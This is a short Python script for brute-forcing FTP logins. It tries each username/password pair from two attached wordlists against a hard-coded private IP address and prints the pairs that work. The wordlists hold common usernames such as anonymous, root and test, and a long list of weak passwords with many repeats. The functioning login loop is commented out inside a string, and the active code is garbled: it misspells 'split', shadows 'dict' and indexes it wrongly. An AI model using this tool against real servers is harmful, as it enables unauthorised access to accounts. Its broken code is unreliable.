import ftplib
import sys
import queue
import sys
def ftp_passwd():
while not q.empty():
userpass=q.get()
userpass.spilt('|')
username=dict[0]
print(userpass)
'''
ftp = ftplib.FTP()
ftp.connect('192.168.101.104', 21)
for username in open('ftp-user.txt'):
for password in open('ftp-pass.txt'):
#print(username+'|'+password)
username = username.replace('\n', '')
password = password.replace('\n', '')
try:
ftp.login(username,password)
ftp.retrlines('list')
print(username+'|'+password+'|ok')
except ftplib.all_errors:
pass
'''
if __name__ == '__main__':
'''
ip=sys.argv[1]
port=sys.argv[2]
userfile=sys.argv[3]
passfile=sys.argv[4]
'''
q=queue.Queue()
for username in open('ftp-user.txt'):
for password in open('ftp-pass.txt'):
#print(username+'|'+password)
username = username.replace('\n', '')
password = password.replace('\n', '')
dict=username+'|'+password
q.put(dict)
#print(dict)
ftp_passwd()
ftp-user.txt
anonymous
user
ftp
aaa
test
111
000
123
root
ftp-pass.txt
root
anonymous
user
ftp
1
12
123
1234
12345
123456
1234567
12345678
123456789
1234567890
2
3
4
5
6
7
8
9
0
11
22
33
44
55
66
77
88
99
00
test
111
222
333
444
555
666
777
888
999
000
1111
2222
3333
4444
5555
6666
7777
8888
9999
0000
11111
22222
33333
44444
55555
66666
77777
88888
99999
00000
111111
222222
333333
444444
555555
666666
777777
888888
999999
000000
1
12
123
1234
12345
123456
1234567
12345678
123456789
1234567890
2
3
4
5
6
7
8
9
0
11
22
33
44
55
66
77
88
99
00
111
222
333
444
555
666
777
888
999
000
1111
2222
3333
4444
5555
6666
7777
8888
9999
0000
11111
22222
33333
44444
55555
66666
77777
88888
99999
00000
111111
222222
333333
444444
555555
666666
777777
888888
999999
000000
123123
123321
888888
111111
111222
000111
qwe
qwer
qwert
qweasd
qazwsx
qazxsw
zxczxc
1qaz2wsx
123qwe
123qweasd
123asd
qwezxc
qazwsxedc
zxcvbn
asdfgh
qwerty
qazxdr
qwaszx
888888
88888888
000000
00000000
111111
11111111
aaaaaa
aaaaaaaa
135246
135246789